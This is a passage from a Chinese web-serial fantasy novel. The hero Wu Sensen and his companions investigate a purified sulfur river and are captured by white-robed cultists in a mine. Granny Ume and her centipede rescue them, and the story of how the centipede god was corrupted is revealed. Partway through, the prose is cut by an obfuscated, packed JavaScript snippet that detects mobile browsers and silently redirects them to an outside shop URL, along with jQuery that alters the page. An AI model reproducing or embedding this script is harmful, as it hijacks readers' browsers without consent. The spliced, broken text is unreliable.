吴森森则紧随其后,一边走,一边默默感受臂上森鹿纹身与这片森林的联系。 虽然被“域”阻隔,但在这片相对“真实”的记忆区域里,联系似乎比在外面的灰暗小巷清晰一些,让他能隐约感知到周围植物的状态和动物的动向。 走了约莫一个多小时,山路越发崎岖,空气中的气味也开始变化,一股淡淡的、类似臭鸡蛋的硫磺味逐渐明显。 中田琳提醒道:“快到硫磺河了,小心脚下,别滑进去。” 绕过一片茂密的灌木丛,一条不宽的山涧出现在眼前。 按照村民的描述和梅婆婆的叮嘱,这应该就是那条因上游涌出硫磺而变得浑浊、滚烫、刺鼻,无法饮用的“硫磺河”。 然而,眼前看到的景象,却让带路的中田琳猛地停住脚步,瞪大了眼睛,脸上写满了难以置信。 “这……这怎么可能?!” 中田琳失声叫道。 只见山涧中流淌的河水,并非预想中的浑浊土黄,也闻不到强烈的刺鼻硫磺臭味。 相反,那河水呈现出一种奇异的清澈,在透过林叶缝隙的阳光下,折射出淡淡的、如同蓝宝石般的色泽,而河床底部和两岸被水流冲刷的岩石上,则附着着一层细腻的、仿佛牛奶般的乳白色沉淀物,随着水流微微荡漾,将整条河染上了一层朦胧的蓝白辉光。 “蓝色的……是水折射光吧?白色的……是矿洞的石粉被冲下来了?” 中田琳喃喃自语,试图用自己有限的知识解释,但眼前的景象与他从小听到的关于“硫磺河”的恐怖描述截然不同,让他一时不知所措。 是立刻返回告诉梅婆婆这个惊人的变化,还是继续完成带路的任务,先把客人带到矿洞附近? 就在中田琳陷入纠结时,吴森森却感受到了比视觉冲击更强烈的异常。 他走近河边几步,蹲下身,仔细感知。没有预想中的灼热地气,也没有邪教可能造成的污染与死寂。 相反,从这条看似平静清澈的河水中,他感受到了一股磅礴、奔腾、充满活性却又被极度压缩禁锢的“水行之力”! 那不是普通山泉的灵动,也不是大江大河的浩瀚,而是一种更加古老、更加纯粹、带着某种神圣净化意味的江河本源力量! 这股力量是如此强大,以至于被强行压缩在这条小小的山涧中,使得每一滴河水都仿佛蕴含着千斤之重、万钧之势,只是表面维持着诡异的平静。 这感觉……无比熟悉! 吴森森的脑海中瞬间闪过荒战斗时周身缠绕的沸腾蓝紫色水流,那种狂暴、净化、带着江河威严的气息! 虽然眼前河水的气息更加内敛、纯净,没有那份暴烈,但其核心特质——“水”的“本源”与“净化”——如出一辙! 难道……“荒”体内那个属于“流川之主”的意识与力量碎片,在诹访隼人原始意识占据主导、脱离融合体后,并没有消散或潜伏,而是……被这个“域”的规则排斥,或者自行脱离,然后……融入了这条代表着“污染”与“异常”的硫磺河,以某种方式“净化”了它,并隐匿其中?! 这个猜测让吴森森心跳加速。 如果流川之主的力量碎片真的藏在这条河里,那就能解释河水异变的原因,也让他们有了寻找和唤醒这份力量的可能! 有流川之主的力量相助,无论是探查邪教,还是应对这个诡异的“域”,乃至将来对付大百足本体,都将增添巨大的助力! “继续往上走!” 吴森森当机立断,对还在纠结的中田琳说道,“这河水的异变很可能和那些白衣怪人,甚至和百足神的异常有关!我们必须去源头,去矿洞那边看看!琳,拜托了!” 中田琳看着吴森森眼中不容置疑的急切和认真,又看了看眼前诡异的蓝白河水,咬了咬牙,最终还是点了点头:“好!不过说好了,只到矿洞附近,看看情况,千万不能进去!这水……太怪了!” 诹访隼人一直安静地站在一旁,观察着河水,也观察着吴森森和中田琳的反应。 他对这条河的变化似乎没有太多“专业”上的判断,只是本能地觉得有些不对劲,但具体哪里不对又说不上来。 听到吴森森说要继续前进,他也没有反对,只是默默点头,表示同意。 吴森森暗中留意诹访隼人的状态。 诹访隼人对这条明显蕴含强大水行之力的河流毫无特殊反应,甚至对他自身的“荒”之状态也毫无记忆,这似乎印证了他的猜测——“荒”的分离很“干净”,属于诹访隼人的意识和属于流川之主的意识,在这个“域”的特殊环境下,被暂时剥离成了两个独立的部分。 诹访隼人回归了坠河前的原始状态,而流川之主的力量则可能以某种形式,寄宿在了这条被“净化”的河中。 三人不再耽搁,由中田琳带头,沿着变得诡异的蓝白硫磺河,继续向山林更深处、硫磺矿洞的方向溯流而上。 越往上走,空气中那股淡淡的硫磺味几近消失,取而代之的是一种清新、湿润、带着隐隐威压的水汽。 河水的蓝白色光芒似乎也更明显了一些,在略显幽暗的林间,如同一道流淌的光带。 吴森森的心弦绷紧了。 ———— 决定溯流而上探查硫磺矿洞,是吴森森基于“流川之主力量可能藏于河中”的猜测做出的,他自认有所依仗,却忽略了诹访隼人目前状态极差、力量混乱的现实,也低估了邪教徒的数量和警惕性。 当中田琳带着他们靠近那个位于半山腰、被藤蔓和灌木半掩的废弃硫磺矿洞入口时,一切似乎还很平静。 矿洞黑黢黢的,散发着一股陈年的尘土和淡淡的、与外面河水截然不同的、残留的硫磺气味。洞口附近的地面有杂乱的脚印,显然近期有人频繁出入。 就在吴森森示意中田琳和诹访隼人隐蔽,自己打算先靠近洞口感知一下内部情况时—— “什么人?!” 一声低沉的厉喝从侧方的树丛后响起! 紧接着,七八个身影如同鬼魅般从周围的阴影和岩石后窜出,瞬间将三人包围! 他们果然都穿着白色的、样式统一的粗布衣袍,衣袍上用暗红和紫红色的丝线绣着扭曲怪异的、如同内脏纠缠又似符文组合的诡异花纹,在昏暗的光线下显得格外刺眼。 这些人有男有女,大多用头巾或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016495|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面罩遮住了下半张脸,只露出一双双或狂热、或警惕、或冷漠的眼睛。 吴森森心中一沉,知道麻烦了。 他立刻试图调动森林祝福的力量,准备催生藤蔓或制造混乱,同时示意诹访隼人准备战斗。 然而,诹访隼人的反应比他预想的慢了一拍。 他似乎对突然出现的敌人感到惊愕,手指下意识地掐诀,但体内力量如同乱麻,指尖灵光闪烁不定,根本无法形成有效的术式。 他只是凭借身体本能,摆出了一个防御架势,但动作僵硬,漏洞百出。 中田琳则完全吓呆了,他一个山村少年,哪里见过这种阵仗,下意识地想跑,却被两个邪教徒堵住了去路。 战斗,如果那能称之为战斗的话,几乎在瞬间就结束了。 吴森森的藤蔓刚冒出个头,就被一名邪教徒手中甩出的、带着倒刺的黑色绳索绞碎。 诹访隼人试图施展一个简单的防护咒,咒文刚念出一半,就被一名身手敏捷的教徒欺近身前,一记重击打在腹部,闷哼一声弯下腰去。中田琳更是被轻易制伏。 三人几乎没做出什么像样的抵抗,就被教徒们用那种特制的黑色绳索捆得结结实实,嘴里也被塞了布团,拖进了那个阴冷的废弃矿洞。 矿洞内部比外面看起来宽敞一些,显然被这些邪教徒改造过。洞壁上插着几支燃烧着惨绿色火焰的火把,照亮了中央一片被清理出来的空地。 空地上用暗红色的颜料绘制着一个复杂的、令人望之作呕的法阵,法阵中心是一个凹陷的石台,似乎是用来放置什么东西的。 周围散落着一些奇怪的器皿、符纸,以及……几具干瘪的、像是被抽干了所有水分的野兽和蛇虫尸体,正是梅婆婆提到的那种死状。 然而,此刻洞内的气氛却并非胜利者的得意,而是一种压抑的愤怒、困惑和隐隐的恐慌。 “怎么回事?!为什么硫磺河的水清了?!” 一个头领模样、身材高大的邪教徒,听口音像是西关一带,暴躁地踱步,对着洞外蓝白色光芒隐隐透入的方向低吼,“没有硫磺毒性的中和与地火的催化,‘活肝’的效力根本无法完全激发!仪式还怎么进行?!” “不光是水的问题,”另一个声音尖细、听起来像酒州口音的教徒指着法阵中心的石台,声音发颤,“核心祭品……那个坛子……不见了! 我昨天明明检查过,就放在那里!用符咒封得好好的!” “什么?!” 西关头领猛地冲到石台边,石台上空空如也,只有一层薄灰。“该死!看守的人呢?!” “我、我一直守在外面,没见任何人进来……” 一个身材矮小、像是东南亚裔的教徒惶恐地辩解。 “废物!” 西关头领一巴掌将他扇倒在地,然后目光扫过被捆在角落的吴森森三人,眼中凶光闪烁,“是不是这三个家伙搞的鬼?!说!你们把‘活肝’藏哪儿了?!” 吴森森嘴里塞着布团,无法说话,只能拼命摇头,眼神示意无辜。 他心里却掀起了惊涛骇浪。 活着的肝脏……装在陶瓷坛子里……用来反向污染和控制百足神的祭品! 这描述,与他和大宏亮他们在阪大批发市场发现的那些“鲜活”瓶装器官何其相似! 只是这里的“肝脏”,似乎被赋予了更明确、更邪恶的仪式用途——针对百足神的污染与控制! 难道,这个“生贽之会”在几十年前,就已经开始用这种方式,尝试污染和控制地方性的神灵或妖怪,为他们的邪恶目的服务? 大百足的堕落,很可能就是始于这场失败的仪式! 而更让吴森森在意的是,教徒们的混乱。河水莫名变清,核心祭品不翼而飞……这显然不是他们计划内的变故。 吴森森的大脑飞速运转。这里是“域”,是百足神记忆的投影。 理论上,这里发生的一切,都应该是“过去”的固定回放。 硫磺河应该是浑浊有毒的,祭坛上应该放着那个“活肝”坛子,仪式应该按部就班地进行。 但现实是,河水变了,祭品丢了。 为什么? 吴森森的目光扫过身边依旧迷茫、挣扎的诹访隼人,又想起那蓝白河水中奔腾的水行之力,一个大胆的猜测逐渐成形: 因为“变量”的介入! 他们——吴森森、荒、诹访隼人——这三个本不该存在于这段记忆中的“外来者”,闯入了这个“域”。 尤其是“荒”的分离,导致流川之主的力量碎片很可能融入了硫磺河,以其强大的净化之力,“提前”净化了这条记忆中的毒河,改变了这个关键场景的“初始设定”! 而那个作为核心祭品的“活肝”坛子消失……或许并非被谁偷走,而是因为这个“记忆场景”的逻辑出现了矛盾或错乱。 在原本的记忆中,邪教徒利用浑浊的硫磺河和“活肝”举行仪式,试图污染百足神。 但现在,河水被“净化”了,仪式的基础条件之一不复存在。 这个“域”的规则,或者百足神潜意识中残留的、对这段痛苦记忆的某种“修正”,可能导致了这个核心祭品“逻辑上”不该再出现于此,于是它“消失”了。 还有一种更可怕的可能性:百足神的潜意识,已经被污染了。 也许在那个真实的历史中,仪式虽然没有完全成功,但“活肝”的部分力量或者污染,已经渗入了百足神的灵体。 在这段记忆投影中,代表着“污染源”的“活肝”,其存在本身已经与百足神的意识产生了某种融合或绑定。 当作为“外来变量”的吴森森他们进入,导致场景不稳定时,那个“活肝”不是“丢了”,而是回归了它本该在的地方——与百足神融为一体! 换句话说,那个试图污染控制百足神的“活肝”,很可能已经成功了至少一部分,并且此刻,就在这个“域”的某处,甚至可能就在外面那条看似被净化的河流底部,与流川之主的力量碎片,以及百足神自身混乱的意识,发生着难以预料的相互作用! 吴森森感到一阵寒意。 如果他们不能尽快找到流川之主的力量,唤醒诹访隼人,并理清这个“域”的混乱规则,他们很可能会被困死在这里,或者被暴怒的邪教徒灭口,更可怕的是,万一“活肝”的污染、流川之主的力量、百足神的疯狂在这记忆领域中产生未知的融合或变异…… “头儿,现在怎么办?没有‘活肝’,河水也变了,仪式……” 一个教徒怯生生地问。 关西头领眼神阴鸷地扫过法阵,又看了看洞外蓝白色的水光,最后将视线定格在吴森森三人身上,尤其是衣着气质明显不同的诹访隼人身上。 “哼,仪式暂时是没法进行了。但这三个家伙……尤其是这个长发小子,看起来有点门道。说不定和河水变清、祭品丢失有关!” 他眼中闪过一丝狠厉,“先把他们看好!等‘上师’从山里回来再发落!至于河水……派两个人去上游看看,到底怎么回事!我就不信,好好的硫磺河,还能自己变干净了!” 教徒们应声,将吴森森三人拖到矿洞更深处一个相对干燥的角落,用更粗的绳索加固捆绑,并留下两个持着怪异短棍的教徒看守。 黑暗、阴冷、绳索的紧勒,以及空气中弥漫的邪恶气息,让吴森森的心沉到了谷底。 中田琳在瑟瑟发抖,诹访隼人则低着头,似乎陷入了更深的迷茫或自省。 计划全乱了。但至少,他们被动地获取了关键信息,也印证了流川之主力量的可能去向。 现在的问题是,如何在被“上师”回来“发落”之前,挣脱束缚,联系上可能就在附近河流中的流川之主力量,并在这个混乱的记忆领域中,找到破局的关键。 吴森森闭上眼睛,将全部心神沉浸到右臂的森鹿纹身中,试图在隔绝感严重的情况下,最大限度地沟通森林的力量,寻找一线生机。同时,他也在心里默默呼唤:“流川之主……或者说,荒的另一半……如果你真的在河里,能听到吗?我们需要你的帮助……” 23. 小蜈蚣 矿洞深处,阴冷潮湿,只有远处邪教徒们压低声音的争吵和洞壁渗水的滴答声。 吴森森三人在角落里捆得像端午节的粽子,嘴里塞着布团,只能大眼瞪小眼。 诹访隼人依旧一脸“我是谁我在哪为什么绑我”的哲学迷茫,中田琳则害怕得微微发抖,只有吴森森还在努力扭动手腕,试图用臂上纹身那点微弱的绿光给绳子来真菌腐蚀,可惜效果聊胜于无。 就在吴森森感觉手腕都快磨破皮,开始琢磨是不是该用眼神和中田琳交流一下“咬绳子”的可能性时—— “簌簌……簌簌……” 一阵极其轻微、仿佛细小节肢动物爬行的声音,从矿洞入口方向的阴影里传来。看守他们的两个邪教徒正靠在石壁上打盹,丝毫没有察觉。 只见一条通体赤红、只有手指长短、却油光水滑、显得颇为精神的小蜈蚣,如同一位训练有素的微型侦察兵,悄无声息地沿着洞壁爬到了两个教徒脚边。 它似乎犹豫了一下,选择了左边那个看起来睡得更香的,然后……顺着裤腿,哧溜一下就钻了进去。 “嗷——!!!” 一声惨绝人寰的嚎叫响彻矿洞! 左边那个教徒如同触电般弹跳起来,双手疯狂地在□□附近扑打抓挠,表情扭曲,眼泪鼻涕差点一起喷出来。 右边那个被惊醒,还没搞清状况,就见同伴已经在地上滚作一团,嘴里含糊地喊着:“虫!有虫钻进去了!啊啊啊好疼!不,是痒!又疼又痒!” 趁着这鸡飞狗跳的混乱档口,一个佝偻却迅捷的身影如同狸猫般闪了进来,正是梅婆婆!她手里还拎着个小布包,眼神锐利地扫过洞内。 “婆婆?!” 中田琳眼睛都亮了,嘴里塞着布团也努力发出呜呜声。 梅婆婆冲着他们比了个“嘘”的手势,动作麻利地摸出一把看起来有些年头的旧剪刀,咔嚓几下,利落地剪断了三人身上的绳索,又帮他们取出嘴里的布团。 “咳咳……婆婆,您怎么来了?” 吴森森活动着僵硬的手腕,又惊又喜。 “感觉到这边不对劲,心神不宁的。” 梅婆婆一边警惕地看向洞口方向,那边两个教徒还在一个抓虫一个帮忙,乱成一团,一边快速说道,“我家小蜈蚣也躁动得很,一个劲往这边指,我就跟过来看看。好家伙,还真出事了!” 她看了一眼洞外隐约透进来的蓝白光,脸上露出一丝宽慰:“硫磺河变清了,这是好事啊!百足神大人开眼,村里人以后除了井水,也能用上河水了,再也不用担心……” “呃,婆婆,” 吴森森下意识地接话,“那水看着清,但估计矿物质含量超高,直接喝可能还是会拉肚子,最好还是烧开或者……” 话没说完,那条原本在梅婆婆脚边装乖的小红蜈蚣,突然昂起头,闪电般在他脚踝上不轻不重地掐了一下! 没破皮,但那股又酸又麻又疼的滋味,瞬间让吴森森倒吸一口凉气,把后半句话咽了回去。 “哎哟!你这小家伙!” 梅婆婆哭笑不得,轻轻用脚尖点了点小蜈蚣,“人家说的是实话嘛,河水是要处理过才能喝。不过小伙子,在百足神赐福的河水面前,说话要讲究点,知道不?” 她一边说着,一边安抚性地弹了弹小蜈蚣的背壳,小家伙这才傲娇地扭过头,爬回梅婆婆袖口里去了。 诹访隼人揉了揉被捆得发麻的手臂,虽然依旧失忆,但本能让他对梅婆婆和小蜈蚣的组合产生了浓厚的兴趣。 “此地不宜久留,快走!” 梅婆婆当机立断,示意三人跟上。 四人蹑手蹑脚,趁着洞口那两个倒霉蛋还没从“蜈蚣惊魂”中完全恢复,贴着洞壁阴影,朝着矿洞外溜去。 眼看就要摸到洞口那块能提供遮蔽的大石头…… “站住!” 一声冰冷低沉、带着明显怒意的喝声,如同冰水般浇在四人头顶。 洞口光线一暗,一个穿着与其他教徒相似但花纹更繁复、气度明显不同的中年男子堵在了那里。 他肤色较深,五官深邃,似乎带有南亚或西亚血统,眼神锐利如鹰,手中握着一根镶嵌着黑色宝石的短杖。 正是邪教徒口中的那位“上师”! 他身后还跟着两个气息凝实的教徒,显然是贴身护卫。 而洞内,那两个被蜈蚣骚扰的教徒也终于缓过劲来,满脸羞愤地堵住了退路。 得,刚出绳窝,又入虎口,还是被前后包抄的那种。 梅婆婆下意识地将吴森森三人护在身后,小蜈蚣也从她袖口探出头,警惕地摆动着触须。 “上师”的目光冷冷扫过四人,尤其在梅婆婆身上停留了一瞬,嘴角扯出一抹没有温度的弧度:“怪不得‘活肝’失踪,河水异变……原来是本地巫祝搞鬼。还带了帮手?可惜,晚了。” 他手中短杖一挥,口中念念有词。只见那些原本散落在地上、用来捆绑吴森森他们的黑色绳索,如同活物般自动飞起,在空中扭曲缠绕,散发出不祥的紫黑色光芒,然后如同毒蛇般向四人袭来! 梅婆婆反应极快,袖口一抖,几点细微的粉末弹出,试图干扰绳索,小蜈蚣也弹射而出,直扑“上师”面门! 但“上师”只是冷哼一声,短杖一点,一道暗光闪过,小蜈蚣就被弹飞出去,摔在石壁上不动了,梅婆婆脸色一白,但感应到小家伙只是晕了,稍微松了口气。 而那些粉末,对附了魔的绳索效果甚微。 吴森森试图催动藤蔓,诹访隼人本能地掐诀防御,中田琳抓起地上的石头想砸……但在对方有备而来、且明显实力占优的情况下,抵抗显得徒劳。 很快,四人就被那散发着紫黑光芒、坚韧异常且越挣扎越紧的“附魔绳索” 重新捆了个结实,这次捆得更专业,连手指头都很难动弹。 “把他们带到祭坛上去。” “上师”冷漠地吩咐,“虽然‘活肝’不见了,河水也出了问题,但……用这几个搅局者的血肉和灵魂,或许也能暂时安抚躁动的百足神,为我们争取时间找到替代品。” 于是,在吴森森“我就知道没那么容易跑掉”、中田琳快要哭出来、梅婆婆又气又急的目光中,四人像待宰的羔羊,被拖到了矿洞中央那个散发着不祥气息的暗红色献祭法阵上,分别绑在了四个角落的石桩上。 法阵的纹路在接触到活物后,似乎被激活了,开始散发出微弱的、令人心悸的暗红色光芒。 “上师”站在法阵外,高举短杖,开始吟诵起晦涩扭曲的咒文。其他邪教徒则围成一圈,眼神狂热地注视着祭坛上的“新祭品”。 得,这下真成砧板上的鱼肉了。 意识如同沉入冰冷粘稠的泥沼,四肢百骸传来难以言喻的虚弱感。 祭坛法阵暗红色的光芒贪婪地舔舐着他们的生命力,吴森森感觉眼皮重若千斤,视野开始模糊,耳边邪教徒的吟诵和梅婆婆压抑的啜泣声也变得遥远。 难道真的……要栽在这段该死的记忆里了吗? 就在吴森森的意识即将滑入黑暗的瞬间—— “嗤!” 一声极其轻微、却异常清晰的、仿佛某种甲壳硬生生撑裂的声响,打破了法阵能量运转的低鸣。 只见原本被“上师”弹飞、晕在石壁角落的那条小红蜈蚣,不知何时已经醒来,并且以一种极其诡异的姿态,人立而起! 它那小小的身躯绷得笔直,原本赤红的甲壳下,透出越来越亮的乳白色光芒,纯净、温和,却又带着一种不容亵渎的威严。 没有复杂的符文显现,只有这纯粹的光,仿佛是其生命本源最后的燃烧与绽放。 “小蜈蚣……不要!” 梅婆婆看到了这一幕,挣扎着发出嘶哑的哭喊,浑浊的泪水涌出,划过她布满皱纹的脸颊。 那眼泪里,不只是对宠物的心疼,更是一种洞悉了某种残酷真相后,无力挽回的悲伤与绝望。 小红蜈蚣没有回应。 它只是将全部的光芒,如同利箭般,射向了矿洞之外,直入地底! 刹那间—— “轰隆——!!!” 洞外天地骤然色变!铅灰色的记忆天空仿佛被一只无形的巨手撕裂,变得漆黑如墨! 脚下的大地开始剧烈震颤、崩裂,岩石滚落,洞顶簌簌掉下尘土碎石。 那条原本清澈平静的蓝白色硫磺河,如同被煮沸的巨釜,猛地翻滚、咆哮起来! 乳白色的河水冲天而起,其中蕴含的那股被压缩的、磅礴的水行之力如同脱缰野马,彻底爆发! 水汽混合着硫磺矿粉形成巨大的雾柱。 紧接着,在所有人惊骇欲绝的目光中,矿洞外的地面轰然炸开一个巨大的裂缝! 一只庞大到难以想象的、覆盖着暗沉铁锈色甲壳、生着无数锋利步足的巨型蜈蚣头颅,从地底猛然探出! 然后是它那蜿蜒如山岭般的恐怖身躯! 大百足! 或者说,是这段记忆中,即将被污染、或者说正在被污染过程中的百足神本体! 它此刻的形象,已经与吴森森他们在现实中遭遇的堕落百足神极为相似——邪气缭绕,甲壳暗沉,复眼闪烁着混乱的红光,只是似乎少了几分彻底的疯狂,多了几分挣扎与痛苦。 它巨大的身躯遮蔽了本就黑暗的天空,投下的阴影笼罩了整个矿洞区域。 一股混合着土地厚重、虫类阴冷、以及正在不断滋长的污浊邪气的恐怖威压,让所有人心胆俱裂。 “该死!怎么会提前苏醒?!仪式还没完成!” 那位“上师”脸色第一次剧变,他死死盯着破土而出的大百足,手中操控阵法的短杖都有些颤抖。 但随即,他像是感应到了什么,表情变得更加惊疑不定,甚至带着一丝骇然:“等等……这气息……‘活肝’的污染气息……怎么已经缠绕在它身上了?! 我明明还没有……” 他的话戛然而止。 因为他看到,大百足那充满痛苦与混乱的复眼,并没有第一时间看向祭坛上作为“祭品”的梅婆婆四人,而是死死锁定了他们这些邪教徒,尤其是他这位“上师”! 那目光中,有被引诱堕落的怨恨,有被亵渎信仰的愤怒,更有一种……对污染源本能般的憎恶与杀意! 梅婆婆停止了哭泣,只是呆呆地看着那遮天蔽日的巨大蜈蚣,脸上最后一丝血色也褪尽了。 那是一种彻底心死、知道一切无法挽回的绝望。她喃喃道:“原来……你已经……” 大百足发出震耳欲聋的、饱含痛苦与怒意的嘶吼,庞大的身躯直接朝着“上师”和邪教徒们碾压、撕咬过去! 它虽然状态不对,但身为曾经的地祇,其力量和凶悍绝非普通人类修士可比。 “上师”又惊又怒,急忙挥动短杖,试图激活地面上那个献祭法阵,似乎想用其反向控制或影响大百足,同时厉声喝道:“结阵!拦住它!” 然而,法阵的光芒只是闪烁了几下,对大百足的行动几乎没有造成任何阻碍。 而其他邪教徒仓促结成的防御,在大百足狂暴的攻击下如同纸糊一般,瞬间被冲垮,惨叫声此起彼伏。 “怎么会没效果?!这阵盘明明……” “上师”看着手中毫无反应的阵盘核心,又看看不受控制、 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他不再试图对抗大百足,而是用尽最后的力量,猛地将短杖插入自己的胸膛,念诵起一段极其恶毒、以自身残存魂力与所有教徒性命为引的自毁禁咒! “以吾残魂为引,以尔等血肉为祭……焚尽此间记忆,湮灭一切存在!同归于尽吧!” 剩下的邪教徒们还没来得及反应,身体便如同被无形的大手攥住,生命力和魂魄被强行抽取,化作一道道黑红色的流光,汇入“上师”体内。 他们甚至连惨叫都发不出,便迅速干瘪、化为飞灰。 而“上师”的身体则膨胀成一个不稳定的、散发着恐怖死寂与湮灭气息的漆黑能量团,仿佛一个即将爆炸的小型黑洞! 大百足虽然已被邪气浸染,神智混乱,但对危险的本能感应还在。 它立刻放弃了攻击,复眼中闪过一丝惊惧,庞大的身躯猛地回缩,同时口中喷出大股污浊的毒液和邪气,试图扑灭或抵消那个恐怖的黑球。 而随着“上师”的自我毁灭和邪教徒的死亡,束缚着吴森森四人的“附魔绳索”,其力量来源瞬间中断,光芒熄灭,绳索本身也变得松弛。 四人趁机奋力挣脱,从祭坛石桩上滚落下来。 梅婆婆顾不上自己的虚弱,跌跌撞撞地爬向正在与死气团对峙的大百足,嘶声喊道:“不要!小蜈蚣!不要吃那个!不要碰它!你明明……你明明就快要功德圆满了啊!就差一点……是我没用,是我这条贱命拖累了你……” 她的话说到一半,突然停住了。 因为她看到了大百足身上那已然无法驱散的邪气,看到了它眼中残留的痛苦与逐渐被疯狂取代的理智,也看到了自己身后,吴森森、诹访隼人这二个“闯入者”。 她明白了。一切都明白了。 这里不是现实。 所有人都死了,包括她自己。这只是一段痛苦记忆的回放,一段百足神走向堕落的悲剧开端。 而百足神,为了保护村子,为了保护她,早已经做出了选择——提前苏醒,强行吸纳了部分“活肝”的污染来获得对抗邪教徒的力量,但也因此加速了自身的堕落。 “其实……大家都死了啊……” 梅婆婆的声音低了下去,带着无尽的沧桑与悲凉,“不要再继续了……你明明还有别的出路……放弃我们吧……放弃这段记忆吧……” 她看着大百足那挣扎着想要保护她、却又被邪气和死气团逼得步步后退的庞大身躯,终于,彻底放弃了劝说。 她转过身,看向吴森森和诹访隼人,眼神恢复了平静,甚至带着一丝决绝的慈祥:“但是……这两个孩子,还是活人。” 她似乎早就意识到了吴森森和诹访隼人的“不同”,意识到了这里并非完全的“过去”。 只是出于某种善良的本能,或者说,是百足神潜意识中对“生者”的最后庇护,让她一直配合着演完了这场记忆的戏剧。 “婆婆我也……尽力把你们送出去吧。” 梅婆婆抬起枯瘦的手,指向矿洞深处,那条因为大百足破土和硫磺河暴动而新裂开的一道闪烁着不稳定蓝白光芒的缝隙,那光芒与外面狂暴的河水同源,却似乎通向另一个方向。 “从那里走……趁现在,记忆正在崩溃,‘域’的边界最不稳定……快!” 吴森森瞬间明白了。梅婆婆其实早就知道真相,知道大百足的状态,知道这一切都是记忆的回响。 她只是……无法割舍对小蜈蚣的牵挂,对村子的责任,以及对这场无法挽回悲剧的深深无力。 而现在,在最后时刻,她选择保护两个“误入”此地的、真正的活人。 洞外,大百足发出震天的悲鸣,与那团膨胀到极限的死气团轰然对撞! 恐怖的爆炸冲击波夹杂着邪气、死气、水汽和山石碎片,席卷而来! “走!” 吴森森不再犹豫,一把拉起还有些恍惚的诹访隼人,又拽了一把吓呆的中田琳,朝着梅婆婆指出的那道蓝白色裂缝,用尽全力冲了过去! 在跃入裂缝的最后一刻,吴森森回头。 他看到梅婆婆静静地站在原地,望着与大百足一同被爆炸光芒吞噬的“上师”死气团,脸上露出一种解脱般的平静,嘴唇微动,似乎说了句什么。 然后,她的身影,连同整个剧烈震颤、崩毁的矿洞,以及外面那场神灵堕落、记忆湮灭的最终景象,一同被翻涌的蓝白色光芒彻底吞没。 剧烈的失重感和空间撕扯感再次袭来。 这一次,不再是陷入另一个“域”,而是仿佛被一股柔和却磅礴的水流裹挟着,冲破了一层又一层脆弱的屏障,朝着某个既定的、充满生机的出口奔涌而去。 24. 流川之主 剧烈的空间撕扯感逐渐平息,取而代之的是一种奇异的失重与包裹感。 吴森森感觉自己仿佛置身于一个温暖、流动的水球之中,又像是漂浮在无垠的虚空,以一种超越常理的“上帝视角”,俯瞰着一段段飞速流转的画面。 那是小蜈蚣与小岛梅的过往,是百足巷的缘起与悲剧。 他看到刚刚开启灵智、还懵懂弱小的小蜈蚣,在草丛间探索,却被一只凶猛的乌鸫盯上,尖喙如电啄下! 千钧一发之际,一个采野菜的少女惊慌地挥舞竹篮,不小心惊走了鸟儿,也无意中救下了瑟瑟发抖的小蜈蚣。 少女起初也怕,但见蜈蚣并无攻击之意,反而像是通人性般微微摆动触须,她渐渐壮起胆子,小心翼翼地观察,甚至后来会带些碎米、小虫偷偷喂它。 少女小岛梅似乎天生与虫豸亲近,这在视虫多为不祥、害虫的村民眼中是“古怪”、“不祥”。 她因此被排挤、被孤立。但有了通灵的小蜈蚣陪伴,她不再孤独,甚至能在它的指引和保护下,自由穿梭于危机四伏的山林,采到珍贵的草药,避开毒蛇猛兽。 渐渐地,村民们开始对她刮目相看,从排斥变为敬佩。 小蜈蚣在梅的陪伴和村民偶尔的供奉中,日益成长,灵智渐开,身躯也越来越大。 直到那场地动山摇,村边的生命之河一夜之间化为滚烫刺鼻的硫磺河。 绝望笼罩村庄。就在人们准备背井离乡或坐以待毙时,那年夏天,山中毒蛇害虫莫名暴增,几乎封死了出山的路。 是已然成为庞然大物的百足,忍受着硫磺的灼痛,以其天赋钻地之能,为村民掘出了甘甜的深井,又以其威势驱散了部分蛇虫,并引导村民利用硫磺河水制作驱虫药粉。 村民们发自内心的感恩与信仰汇聚,使它正式踏上了地祇之路,村庄也更名为百足巷。 小岛梅,这位与百足神有着特殊因缘的女子,也自然而然地成为了沟通神人、管理祭祀、深受信赖的“梅婆婆”。 温馨的画面急转直下。 白衣邪教徒出现,山中生灵莫名死亡,百足神躁动不安。 梅婆婆忧心忡忡,百足神也预感不祥。冲突爆发,邪教徒启动了未完成的邪恶仪式,试图污染控制百足神。 百足神为保护村庄和梅婆婆,提前苏醒,强行吸纳了部分“活肝”的污染之力,获得了短暂的强大力量,击杀了邪教徒首领和大部分教徒,但自身也被邪气迅速侵蚀,陷入痛苦与半疯狂。 然而,邪教徒最后的反扑和仪式残留的污染,仍然对百足巷造成了毁灭性打击。 村民几乎死伤殆尽,梅婆婆也重伤濒死,唯一逃出去的只有几个未成年的孩子。 目睹这一切的百足神,在极致的悲痛、悔恨与邪气催化的偏执下,做出了一个决定——它从死去的“上师”残骸和破碎的仪式中,找到并学会了一种邪恶的禁术,试图逆转生死,复活村民,尤其是梅婆婆。 但它失败了。 或者说,它只成功了一半。它以自身地祇本源和吞噬更多生灵,从山野动物,到后来的人类,结合邪术,勉强维持住了百足巷这片区域、连同其中已死村民魂魄的一种“虚假存在”状态,形成了一个基于它痛苦记忆与执念的、不断循环的“域”。 而它自己,则在这过程中被邪气彻底浸染,神智日益昏聩,化为了只知道吞噬生灵维持“域”存在、执着于“复活”执念的大百足。 那个试图污染它的“活肝”,其力量也早已与它的邪气融为一体。 记忆的画面如潮水般退去。 吴森森心中充满了难以言喻的悲凉与震撼。 原来,百足神的堕落,始于守护,成于执念,终于一场无法挽回的悲剧。 然而,预想中“脱离记忆、返回现实”的景象并未出现。 周围包裹他的水球开始剧烈波动,所有的画面碎片消失,取而代之的是无边无际、翻涌不息的灰白色迷雾——正是大百足自毁之“域”崩溃后的混沌景象。 透过水幕,吴森森看到不远处,另一个较小的水团中,包裹着失神的诹访隼人。 